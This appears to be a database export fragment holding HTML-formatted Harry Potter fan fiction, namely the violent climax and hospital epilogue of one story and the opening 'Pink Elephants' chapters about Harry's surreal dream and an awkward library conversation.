ringmaster from slicing Ginny Weasley&#8217;s throat.&nbsp; It didn&#8217;t buy her freedom, \n  but at least it bought them all time.&nbsp; It was the only thing on their side, \n  especially since Hermione still had the third key.</p>\n<p class="MsoBodyText">Hermione.</p>\nWas she still waiting for him?&nbsp; Did they find her?&nbsp; They \n  had all denied she was with them, but Lucius had become anxious and irritable \n  when a thorough search had left him still without the third key.&nbsp; Harry heard \n  the ringmaster hiss that they were searching every room, and then every closet \n  big enough to hold a person.\n<p class="MsoBodyText">Please don&#8217;t let them find her, Harry thought.&nbsp; </p>\n<p>Draco was bound to Arthur Weasley.&nbsp; He had been given no special treatment.&nbsp;&nbsp;&nbsp; \n  After a couple of hours of damp silence, Harry could hear voices.&nbsp; Then Lucius \n  came into the room again, along with two other Death Eaters.</p>\n<p>&quot;Bring Potter.&nbsp; He will die first.&#8221;&nbsp; Ron and Neville kicked at the men, \n  trying to defend Harry.&nbsp; They hexed the unarmed men aside swiftly, untying Harry&#8217;s \n  arms and legs and pulling him away.&nbsp; Lucius grabbed Harry&#8217;s arm and brought \n  his face in too close. </p>\n<p class="MsoBodyText">&#8220;She will be very pleased \n  to meet you.&#8221;</p>\n<p class="MsoBodyText">&#8220;Who is she?&#8221; Harry asked.</p>\nLucius gripped Harry tighter.&nbsp; &#8220;She is the one who will rule \n  everything.\nLucius led him to the common room, which was overflowing \n  with Dark Wizards.&nbsp; In the center stood a stand with two shiny glass objects \n  side by side.&nbsp; \nThe other two keys.\n<p class="MsoBodyText">Next to it was a slab with \n  more ropes.</p>\n<p class="MsoBodyText">I&#8217;m an offering&#8230;to who&#8230;or what?</p>\nLucius parted the sea of Wizards with Harry in tow.&nbsp; Harry \n  struggled now.&nbsp; He had smelled death before, almost knew it instinctively.&nbsp; \n  Lucius hexed him again, sending him to his knees this time.&nbsp; Two men lifted \n  Harry and tied him to the slab.&nbsp; Lucius began to unbutton Harry&#8217;s shirt, and \n  Harry turned his face away in disgust.\n<p class="MsoBodyText">&#8220;Barely a man,&#8221; Lucius said \n  haughtily, drawing laughter from the crowd.</p>\n<p class="MsoBodyText" style="text-align:center" align="center">#</p>\nHarry Potter will be the first to be sacrificed!&#8221; a passing \n  voice said on the other side of Hermione&#8217;s door.&nbsp; It was followed by a burst \n  of applause.&nbsp; \n<p class="MsoBodyText">No.&nbsp; Please no.</p>\nHer body was weak from the confinement and her hands trembled \n  mercilessly.&nbsp; She reached for the latch of the door; now knowing her Harry wouldn&#8217;t \n  come to rescue her.&nbsp; She would do this alone.\n<p class="MsoBodyText">Dear God.</p>\nThe door to the storeroom slowly opened.&nbsp;&nbsp;&nbsp; No one noticed \n  right away.\n<p class="MsoBodyText">Please let this go quickly.&nbsp; Let me die fast, I know I won&#8217;t \n  be able to do this.</p>\nOne thought steadied her, and she was able to move.&nbsp; \n<p class="MsoBodyText">Harry.</p>\n<p class="MsoBodyText">She had to do it.</p>\nShe walked some.&nbsp; Her legs were wobbly now, but she soon \n  regained her stride.&nbsp; The hallway was empty, and there was a blue light in the \n  common area.&nbsp; She could hear Lucius Malfoy&#8217;s piercing voice.\n<p style="text-align:center" align="center">#</p>\n<p>The dreary blue light lit their sacrifice strangely.&nbsp; &nbsp;</p>\n<p>&#8220;We bring you an offering&#8230;to tide you over until the third key is found,&#8221; Lucius \n  hissed.</p>\n<p><i>Lucius speaks parseltounge now? </i>Harry thought, trying to focus on the \n  shadow moving towards him.</p>\n<p>The shadow stopped, stepping into the blue light that Harry discovered was \n  coming from the two triangles.</p>\n<p>&#8220;He is gifted?&nbsp; How?&#8221; she hissed back.</p>\n<p>&#8220;Tom Riddle gifted him inadvertently when he tried to destroy him.&nbsp; He is not \n  like us,&#8221; the ringmaster hissed in a voice Harry thought sounded almost affectionate.</p>\n<p>The child-like being stepped closer to Harry.&nbsp; &#8220;Ahhhh&#8230;. when he was only an \n  innocent.&nbsp; It is always a mistake to try to curse the innocent.&nbsp; Tom was warned.&nbsp; \n  And he is an innocent no more.&#8221;</p>\n<p>She let her tiny fingers run along Harry&#8217;s chest.&nbsp; </p>\n<p>&#8220;The Hellion&#8217;s were confused by him,&#8221; Lucius said.</p>\n<p>She removed her hand, annoyed by Lucius&#8217; interruption.</p>\n<p>&#8220;Of course&#8230;they were unsure of where his gifts came from.&nbsp; They fear him.&nbsp; \n  But I do not,&#8221; she replied, &#8220;And he will be a fitting sacrifice.&#8221;</p>\n<p>Maedon let her eyes pan the crowd who had fallen to their knees upon her entrance \n  into the circle.&nbsp; Then she turned and displayed her long teeth to Harry, who \n  bore down in anticipation of the pain.</p>\n<p>&#8220;I have your key!&#8221; a small shaky voice called out, brining gasps from the crowd.</p>\n<p>Hermione Granger stepped into the circle.</p>\n<p style="text-align:center" align="center">#</p>\n<p>&#8220;Hermione!&nbsp; GO!!!!&nbsp; LEAVE!&#8221; Harry screamed.</p>\n<p>Maedon turned her attention to the young woman standing there.&nbsp; This would \n  be easy enough.&nbsp; She swiftly made her way towards her.</p>\n<p>Hermione grabbed the hair and pulled it out, reciting the rhyme.&nbsp; The ringmaster \n  and Locust stood perfectly still, and the child-demon rushing towards her stopped.&nbsp; \n  Then laughed.&nbsp; They all laughed.</p>\n<p>Hermione had failed.&nbsp; </p>\n<p>Maedon hissed at her and grabbed Hermione by the shoulders.&nbsp; Then she suddenly \n  let her go, stepping backwards.&nbsp; She hissed at Locust, then at the ringmaster.</p>\n<p>Lucius joined in their chattering that made no sense to Hermione.&nbsp; </p>\n<p>The child-demon spoke again, and Hermione was shocked as Harry threw himself \n  against the ropes unrelentingly now, like an animal.&nbsp; </p>\n<p><i>What were they saying to make Harry react like that?</i></p>\n<p>This brought more laughter from Lucius.</p>\n<p>Hermione found herself surrounded by Death Eaters now.&nbsp; She pulled out the \n  triangle and used what Arthur had taught her.&nbsp; A fiery blue light jumped out \n  causing one of the men to fall to the ground, burning him into ash.</p>\n<p>&#8220;Get it from her!&nbsp; A human will have to be the one to destroy her!&#8221; Lucius \n  called out to them, hissing again to the child-demon, caller her by her name.&nbsp; \n  Harry&#8217;s eyes opened wide and his voice was dry and cracked, but Hermione heard \n  him.</p>\n<p>&#8220;<i>Maiden</i> is her name, Hermione,&#8221; Harry said.&nbsp; </p>\n<p>Hermione understood, and directed the triangle towards more wizards now.&nbsp; They \n  fell around her.&nbsp; She made her way towards the child.&nbsp; Something in her chest \n  seemed to fail, but she forced herself to continue and she dared to get closer.&nbsp; \n  The child was actually backing away, looking towards Lucius, who, after seeing \n  the last man to try to reach Hermione disintegrate before him, started to back \n  away slowly.&nbsp; He had been unaware the power could be used like that.&nbsp; </p>\n<p>Before she could think about it, she was reaching towards Maedon.&nbsp; The hair \n  pulled easily away from the creature&#8217;s scalp, which felt like the consistency \n  of mud.</p>\n<p>Hermione&#8217;s voice was clear as a bell as she recited the rhyme.&nbsp;&nbsp; The ringmaster \n  was upon her now, and she closed her eyes expecting pain.&nbsp; There was none, and \n  when he tried to sink his teeth into her throat; the flesh from the tall creature \n  began to skid off of his bones.</p>\n<p><i>Why couldn&#8217;t he hurt me?</i></p>\n<p>Hermione saw the other two keys next to Harry.&nbsp; She ran towards them, placing \n  the one she held next to the other two. </p>\n<p class="MsoBodyText">Please let this work. </p>\n<p>She said the rhyme again.</p>\n<p>Maedon stopped.&nbsp; The blue light intensified, and the keys joined together.&nbsp; \n  The ground beneath them began to tremble. </p>\n<p style="text-align:center" align="center">#</p>\n<p>Hermione&#8217;s fingers were not strong and her nails were broken or worn down, \n  but she worked the knots that bound Harry&#8217;s hands to the offering table with \n  determination. &nbsp;&nbsp;It seemed like an eternity before she made any progress, but \n  in time the binding began to loosen.&nbsp; &nbsp;</p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; </p>\n<p>The floor was beginning to cave and Hermione screamed as men began slipping \n  into the crack.&nbsp; The Death Eaters were only concerned with their own escape, \n  even Lucius, who was noticeably absent.</p>\n<p>Harry bent to untie the ropes at his feet.&nbsp; &#8220;We need to get to them.&nbsp; They&#8217;re \n  still alive,&#8221; Harry said.&nbsp; Hermione held onto the keys tightly as the child \n  demon, strangely lit now, started towards her.&nbsp; </p>\n<p>The floor had stop crumbling and now a thick blue light shot out from the crack.&nbsp; \n  &nbsp;&nbsp;It pierced through the child-demon, and Hermione watched her face grow calm \n  and solemn as Maedon was pulled back towards Hell, quietly and without a struggle.&nbsp; \n</p>\n<p>Locust Daviz ran, but a ray of light reached him and wrapped itself around \n  his thick middle, splitting him in half like an egg before it carried him below.&nbsp; \n</p>\n<p>Beams of light began to surge from everywhere, selecting fleeing Death Eaters \n  and pulling them down below the earth.&nbsp; </p>\n<p>Harry grabbed Lucius&#8217; knife lying beside the offering table, and they ran towards \n  the makeshift prison that their friends were trapped in.&nbsp; They flung open the \n  door of the room and Harry began cutting ropes as Hermione worked to untie those \n  she could.&nbsp; </p>\n<p>The Manor was beginning to shake.&nbsp;&nbsp; Ron and Neville worked to drag Arthur, \n  and Draco and Harry dragged Sirius down the Hallway towards the window.&nbsp; A fleeing \n  wizard who was attempting to exit was going by them, cursing anything in his \n  path as he was sucked back towards the ground.&nbsp; Cho ducked, barely avoiding \n  his hex.</p>\n<p>They reached the exit, opening the doorway.&nbsp; The bodies of four lay in a neat \n  row at the entrance, torn to pieces.</p>\n<p><i>The missing French Aurors.</i></p>\n<p>Ginny closed her eyes as they all walked over them.&nbsp; She tried to avoid stepping \n  on them, but it was impossible.&nbsp; </p>\n<p>&#8220;When can we disparate?&#8221; Harry asked Draco.</p>\n<p>&#8220;Just a few more feet,&#8221; he answered.</p>\n<p>The house trembled again, this time; a gust seemed to be trying to blow them \n  all back inside.&nbsp; They fought it, and managed the last few steps to the bottom \n  of the hill.</p>\n<p>&#8220;Here!&nbsp; We can do it here!&#8221; Draco screamed.</p>\n<p>&#8220;Alright, I&#8217;ll disparate with Sirius, and Ron, can you disparate with your \n  father?&nbsp; Let&#8217;s meet at St. Mungos.&#8221;</p>\n<p>&nbsp;Ron nodded.&nbsp; Harry had taken a good deal of time training Ron in this specialty \n  of disparating and apparating someone else.&nbsp; It was an exceptionally difficult \n  thing to do, but both had become one of the few wizards skilled at the art.</p>\n<p>Ginny went first.&nbsp; Then Neville.&nbsp; Then Cho.&nbsp; Then Draco.&nbsp; Then Ron and Arthur.&nbsp; \n  Then Hermione, who held onto the keys.&nbsp; And finally&#8230;Harry and Sirius.</p>\n<p><i>They disparated</i> o<i>nly a few seconds before the ground caved in, and \n  Malfoy Manor took its place in Hell.</i></p>\n<p style="text-align:center" align="center">#</p>\n<p>The mediwitch at St. Mungos said that both Arthur and Sirius would be fine.&nbsp; \n  Sirius would need to stay longer, due to some internal injuries, but would eventually \n  be his old self again.&nbsp; Harry wasn&#8217;t surprised when Shara Fonta arrived by his \n  bedside.&nbsp; </p>\n<p>The media began to gather outside of the hospital, but they all agreed that \n  no one would say a thing until Arthur Weasley was awake.&nbsp; Mrs. Weasley greeted \n  them all warmly, even Draco who she surprised with a kiss on the cheek.&nbsp; </p>\n<p>Harry kept watching Hermione from his examining table.&nbsp; She couldn&#8217;t figure \n  out what the flash of concern was on his face, and she questioned him with her \n  eyes.&nbsp; He smiled sweetly at her and mouthed, &#8220;I love you&#8221;.&nbsp; She smiled back \n  at him and said the same.&nbsp; When they were finished with him, he walked over \n  towards her, taking her hand in his.</p>\n<p>&#8220;I can&#8217;t believe we did it,&#8221; she said.</p>\n<p>&#8220;You did it Hermione.&nbsp; Not me, you.&#8221;</p>\n<p>Hermione smiled, feeling overwhelmed with relief, joy, and sadness for the \n  ones they couldn&#8217;t save.&nbsp; She thought about her parents, her aunt, their friends \n  at the ministry, and the French Aurors that they never got to meet.&nbsp;&nbsp; Here she \n  was, with only a couple of scratches.</p>\n<p>Hermione flushed. &#8220;Harry&#8230;why was it they couldn&#8217;t hurt me?&#8221; she asked, &#8220;Was \n  it because I have Mill&#8217;s blood?&#8221;</p>\n<p>Harry swallowed and took both of her hands in his.&nbsp; He brought his eyes to \n  meet hers and hesitated.</p>\n<p>&#8220;I heard them say it was because you carry the blood of the innocent.&nbsp; The \n  tall creature was destroyed when it tried to harm you because you have innocent \n  blood running through your veins.&nbsp; That&#8217;s why the child-demon couldn&#8217;t harm \n  you, and why even Lucius, couldn&#8217;t harm you.&nbsp; That&#8217;s what they were talking \n  about when the child demon halted her attack on you, that\'s why they ordered \n  the humans to kill you.&#8221;</p>\n<p>Hermione laughed and leaned into his ear.&nbsp; &#8220;That&#8217;s ridiculous Harry, you and \n  I both know I&#8217;m no innocent&#8230;&#8221;</p>\n<p>Harry&#8217;s face remained serious, and he paused, thinking of a way to explain.&nbsp; \n  &#8220;No, but the someone inside of you is,&#8221; he said searching her face for understanding.</p>\n<p>She got it this time, choosing to sit quietly, trying to absorb what he had \n  just told her.&nbsp; That&#8217;s what they said that had seemed to incense Harry so.&nbsp; \n  He was struggling to save her. </p>\n<p><i>Them.</i></p>\n<p>&#8220;It would be way too early&#8230;how could they know that?&#8221;</p>\n<p>&#8220;I don&#8217;t know.&nbsp; I guess she sensed it,&#8221; Harry said, moving Hermione&#8217;s hair \n  from her face, and kissing her mouth.</p>\n<p>Hermione panicked. &#8220;Oh my God, what are we going to do?&#8221;</p>\n<p>&#8220;Shhh&#8230;. it&#8217;s alright.&nbsp; We&#8217;re alive, we all made it, we have something to look \n  forward to,&#8221; Harry said quietly, &#8220;and an announcement to make.&#8221;</p>\n<p>She made an unladylike choking noise and tried to calm down as her lover took \n  her hand.&nbsp; This was unbelievable.</p>\n<p><i>There was always another adventure ahead</i>, she thought, letting one hand \n  trail down to her stomach.</p>\n<p>&nbsp;&nbsp; </p>\n<p style="text-align:center" align="center">~~Fin ~~~</p>\n<p>&nbsp;</p>\n<p>&nbsp; </p>\n<p>&nbsp; </p>\n\n\n'),
	(90, 15, '\n**********************There will be answers to Reviews posted here ***************************** \n\n\n'),
	(91, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Pink Elephants&#8212;Dreams </b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It was, Harry decided, the pink elephant that should have\nclued him in.&nbsp; He had been having a\nperfectly horrible day, waking up late, dropping all manner of things and Cho\nhad laughed at him when he ran into her.&nbsp;\nNow, in Quadruple Potions (another thing, he mused, that should have\ntipped him off), a pink elephant had come waltzing into the classroom.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">No, really.&nbsp; <i style="mso-bidi-font-style:normal">Waltzing</i>.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As Harry watched the elephant twirl and spin, he thought the\nwaltz suited the animal.&nbsp; The elephant\nseemed to be a miniature version (it came up to about his waist, Harry\nfigured), but it moved with a strange sort of grace.&nbsp; It certainly wouldn&#8217;t have had the same sort\nof fluid motion if it had been doing, say, the samba, the tango, or, and here\nHarry shuddered, the fox trot.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">No, the waltz suited the small pink elephant, and Harry was\nsurprised to find that he was the only one who thought so.&nbsp; Harry looked around and saw that no one else\nhad noticed the elephant.&nbsp; Harry\nfrowned.&nbsp; Pink elephants didn&#8217;t waltz\ninto classrooms everyday.&nbsp; Even in the\nwizarding world, it should have attracted <i style="mso-bidi-font-style:normal">some</i>\nattention.&nbsp; Surely, this Meant Something.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry frowned again.&nbsp;\nWhy was he thinking in capital letters?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Potter!&#8221;&nbsp; Snape\nbarked.&nbsp; &#8220;Kindly remove this animal from\nthe classroom!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry felt a rush of relief that some one had noticed the\ndancing pachyderm, but then became irritated.&nbsp;\nWhy should he have to deal with it?&nbsp;\nWhat did he know about pink elephants?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t worry, Professor, I&#8217;ll take care of it,&#8221; said a voice\nfrom behind him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry turned and smiled.&nbsp;\nHermione, of course.&nbsp; She would\nknow what to do about this whole sit&#8212;wait, since when did she sit in the back\nof the classroom?&nbsp; She always liked the\nfront&#8212;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come here, boy&#8230;that&#8217;s it, c&#8217;mere,&#8221; she cooed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry blinked.&nbsp;\nHermione was cooing?&nbsp; And how did\nshe know that the elephant was male?&nbsp;\nThis whole thing was getting weirder and weirder.&nbsp; Harry turned back to the animal, expecting to\nsee some sort of elephantine gesture of defiance, but instead the elephant moved\ntoward Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry frowned.&nbsp; The\naisle was awfully narrow and he didn&#8217;t see how the elephant could fit\nthrough&#8212;hey, was it getting <i style="mso-bidi-font-style:normal">bigger</i>?&nbsp; Harry squinted a bit and sure enough the\nelephant had grown.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Well, that settled it.&nbsp;\nThere was no way the elephant could get down the aisle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And yet&#8230;the elephant was moving.&nbsp; Harry looked on in wonder as the elephant\ncame down the aisle, still growing.&nbsp; It\nwas a tight fit (extremely tight, Harry noted), but the elephant kept coming.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nice one, Harry,&#8221; Ron snickered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked over at him.&nbsp;\nWhere had he come from?&nbsp; &#8220;You see\nit too?&#8221; he asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron rolled his eyes. &nbsp;&#8220;A dancing pink elephant?&nbsp; They&#8217;re hard to miss.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why didn&#8217;t you say something?&#8221;&nbsp; Harry hissed, still keeping an eye on the\nadvancing elephant.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron shrugged.&nbsp; &#8220;Well,\nthey&#8217;re rather common, aren&#8217;t they?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked at him a little oddly.&nbsp; &#8220;What?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron calmly looked back.&nbsp;\n&#8220;Well, they happen to everyone, don&#8217;t they?&#8221;&nbsp; He started to chuckle.&nbsp; &#8220;Although, I don&#8217;t think that I&#8217;ve ever seen on\nin Potions before.&nbsp; Good job,\nHarry!&#8221;&nbsp; He clapped Harry on the\nback.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry rubbed the bridge of his nose.&nbsp; This whole thing seemed to be spiraling out\nof control and he wasn&#8217;t sure how to get back on track.&nbsp; Hermione was still cooing (cooing!) at the\nelephant, Ron sounded like a hyena next to him, and now Malfoy was gazing at\nthe elephant with a speculative gleam in his eye.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry decided he did not like the way Malfoy was looking at\nthe elephant at all.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Back off, Malfoy!&#8221; he snapped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco raised an eyebrow.&nbsp;\n&#8220;Where&#8217;s your sense of adventure, Potter?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re not touching that elephant!&#8221;&nbsp; Harry said stubbornly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco just smirked.&nbsp;\n&#8220;Whatever you say, Potty-head.&#8221;&nbsp;\nHe turned back to his cauldron and continued working on the assignment\n(whatever it had been; Harry couldn&#8217;t remember; why couldn&#8217;t he remember?).</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked back at the elephant that had seemed to finally\nstop growing.&nbsp; It was now as tall as he\nwas, but was still pushing forward toward Hermione.&nbsp; Harry scrambled back, ducking around and\njumping over desks, a sudden urge to see Hermione hitting him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione,&#8221; he gasped, finally getting to her after a long\nrun (surely the Potions dungeon wasn&#8217;t that big?), &#8220;what are you doing?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione gave him a warm smile.&nbsp; &#8220;I&#8217;m taking care of the problem, Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry, not for the last time, was confused.&nbsp; &#8220;But&#8230;but how?&nbsp;\nHow do you know about this?&#8221;&nbsp; He\nmade a vague gesture toward the elephant.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione continued to smile at him.&nbsp; &#8220;I read about it, of course.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry felt a strange sense of urgency come over him.&nbsp; He desperately needed to know why Hermione\nwas doing this.&nbsp; He grabbed hold of her\nshoulders and gasped a little.&nbsp; She was\nso <i style="mso-bidi-font-style:normal">warm</i>.&nbsp; &#8220;Why, Hermione?&nbsp; Why are you doing this?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione laid a hand on his chest.&nbsp; &#8220;You&#8217;re my best friend, Harry.&nbsp; Why wouldn&#8217;t I?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked at the approaching elephant, who was now almost\nto them.&nbsp; He looked back at her.&nbsp; &#8220;So you&#8217;re only doing this because you&#8217;re my\nfriend?&#8221; he asked, somehow disappointed by this possibility.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione shook her head sorrowfully.&nbsp; &#8220;Oh, Harry, don&#8217;t you see?&nbsp; Ron is my friend, but I wouldn&#8217;t do this for\nhim.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked at her, bewildered and frustrated.&nbsp; &#8220;Do <i style="mso-bidi-font-style:normal">what</i>?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled as she twined her arms around his neck and\npulled him close to her.&nbsp; &#8220;I love you,\nHarry,&#8221; she whispered, her breath puffing in his ear.&nbsp; Harry stiffened and tried to look at her, but\nshe had already turned to the elephant, who had finally reached her.&nbsp; It lifted its trunk and gave a little blast\nof triumph.&nbsp; Hermione grinned and laid a\ngentle hand on its head, between it eyes, at the base of the trunk.&nbsp; &#8220;Good boy, I knew you could do it,&#8221; she\nwhispered.&nbsp; She stood up on tiptoe and\nbent toward it.&nbsp; Harry watched her with\nan anticipation that tightened his chest.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione leaned forward and gently placed a kiss where her\nhand had been and then&#8212;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">POP!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The elephant disappeared.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry jerked back, surprised beyond belief.&nbsp; He looked around, searching for some sign of\nthe elephant, but there was only Hermione in the empty classroom, with a\ncurious, contented smile on her face.&nbsp;\nHarry gaped.&nbsp; &#8220;What just\nhappened?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked at him, her smile spreading into a\ngrin.&nbsp; &#8220;Honestly, Harry, what did you <i style="mso-bidi-font-style:normal">expect</i> to happen?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry just blinked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He woke up with a gasp and sat upright.&nbsp; He looked around a little wildly.&nbsp; He was in bed.&nbsp; In the boys dorm.&nbsp; In Gryffindor\n Tower.&nbsp; He could hear Ron snoring in the bed next to\nhim.&nbsp; Harry crawled over to the side of\nthe bed and peeked out of the curtains.&nbsp;\nHe looked around suspiciously.&nbsp; No\npink elephants.&nbsp; Excellent.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He crawled back to the center of the bed.&nbsp; The dream was already starting to fade a\nbit.&nbsp; Good.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry paused before settling down for some sleep.&nbsp; The dream had been so vivid, so real.&nbsp; Had it meant something?&nbsp; He was used to dreaming about Voldemort and\npremonitions of his own demise.&nbsp; Pink\nelephants left him at something of a loss.&nbsp;\nFinally, however, after a bit of thinking, he decided that it meant\nnothing.&nbsp; Probably just a bad piece of\npie or something.&nbsp; All in all, middling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He tried to get back to sleep, but visions of pink elephants\ndanced through his head until dawn, taunting him.&nbsp; Great, now they were <i style="mso-bidi-font-style:\nnormal">talking</i>, dancing elephants.&nbsp;\nPoor.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This place is finally getting to me,&#8221; he muttered, running\na hand through his hair.&nbsp; He realized he\nwouldn&#8217;t be getting any more sleep that night.&nbsp;\nVery poor, indeed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(91, 2, '\n\n\n\n\n\n\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Pink Elephants&#8212;Explanations </b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Girl parts, Harry decided, were very different from boy\nparts. </p>\n\n<p class="MsoNormal">Hermione raised an eyebrow.&nbsp;\n&#8220;And just what brought on this observation, Mr. Potter?&#8221; she asked,\ntartly, from across the library table.&nbsp; </p>\n\n<p class="MsoNormal">Harry realized, with an ever growing sense of horror that he\nhad spoken aloud.&nbsp; He looked to his right\nto see Ron grinning broadly at him.</p>\n\n<p class="MsoNormal">Curses.</p>\n\n<p class="MsoNormal">&#8220;Er, well, that is&#8230;&#8221; Harry\nstumbled, trying to save the situation.&nbsp;\n&#8220;Neville&#8217;s been having dreams,&#8221; he offered lamely, sending a silent\napology to Neville for putting this on him.</p>\n\n<p class="MsoNormal">&#8220;Neville&#8217;s been having dreams?&#8221; Hermione asked skeptically,\nlooking at Harry.</p>\n\n<p class="MsoNormal">&#8220;Yeah, you know,&#8221; Ron said, leaning forward, his grin\nimpossibly wide.&nbsp; &#8220;<i style="mso-bidi-font-style:\nnormal">Boy</i> dreams,&#8221; he said, waggling his eyebrows.</p>\n\n<p class="MsoNormal">Hermione recoiled slightly.&nbsp;\n&#8220;I don&#8217;t think I want to know--&#8221;</p>\n\n<p class="MsoNormal">&#8220;Pink elephants!&#8221; Harry\nunexpectedly shouted.</p>\n\n<p class="MsoNormal">Hermione looked at him, confused.&nbsp; &#8220;What?&#8221;</p>\n\n<p class="MsoNormal">Ron, damn him, continued to grin.</p>\n\n<p class="MsoNormal">Harry was sure his face was a red it could possibly be.&nbsp; &#8220;Uh, he told me about one&#8230;once.&nbsp; A long time ago.&nbsp; There were pink elephants.&nbsp; Well, just one, actually.&#8221;&nbsp; Harry suddenly felt compelled to share the\ndream with her.&nbsp; If anyone could help, it\nwould be Hermione, right?&nbsp;&nbsp; Harry paused\nto try to sort out the images in his brain and remove himself from the\npicture.&nbsp; &#8220;See, Neville was in class and\nthis pink elephant came dancing in.&nbsp; As\nin, dancing,&#8221; Harry tried to screw up his face like he was thinking about the\ndetails.&nbsp; &#8220;I think it was the waltz.&nbsp; Anyway, it was a miniature elephant, and it\nwas dancing and the professor said to get rid of it.&nbsp; But then yo&#8212;er, this girl said that she would get rid of it.&nbsp; But when it walked down the aisle, it kept\ngetting bigger and bigger, and this other guy was looking at it, and Neville&#8217;s\nfriend (&#8220;What friend?&#8221; Ron muttered and Hermione shot him a Look) said pink\nelephants happened to everybody.&nbsp; Then\nthe girl told m&#8212;uh, Neville that she was doing this for him, and then she\nkissed the elephant and it went away,&#8221; he finished in a rush.&nbsp; He looked earnestly at Hermione, hoping she\nhad some sort of answer.</p>\n\n<p class="MsoNormal">Silence reigned for a few moments.&nbsp; Hermione had a curiously neutral look on her\nface, while Ron&#8217;s eyes were practically completely bugged out of his head.</p>\n\n<p class="MsoNormal">&#8220;Pink elephants?&#8221; Ron exploded\n(&#8220;Quiet!&#8221; warned Madam Pince).&nbsp; &#8220;What the bloody hell are you--&#8221;</p>\n\n<p class="MsoNormal">&#8220;Harry, I think Neville had a penis dream,&#8221; Hermione\ninterrupted.</p>\n\n<p class="MsoNormal">Ron choked and started coughing violently.</p>\n\n<p class="MsoNormal">Harry felt all the blood drain from his face.&nbsp; &#8220;I&#8217;m sorry?&#8221; he said weakly.</p>\n\n<p class="MsoNormal">Hermione had a faintly surprised look on her face, but took\na deep breath and seemed 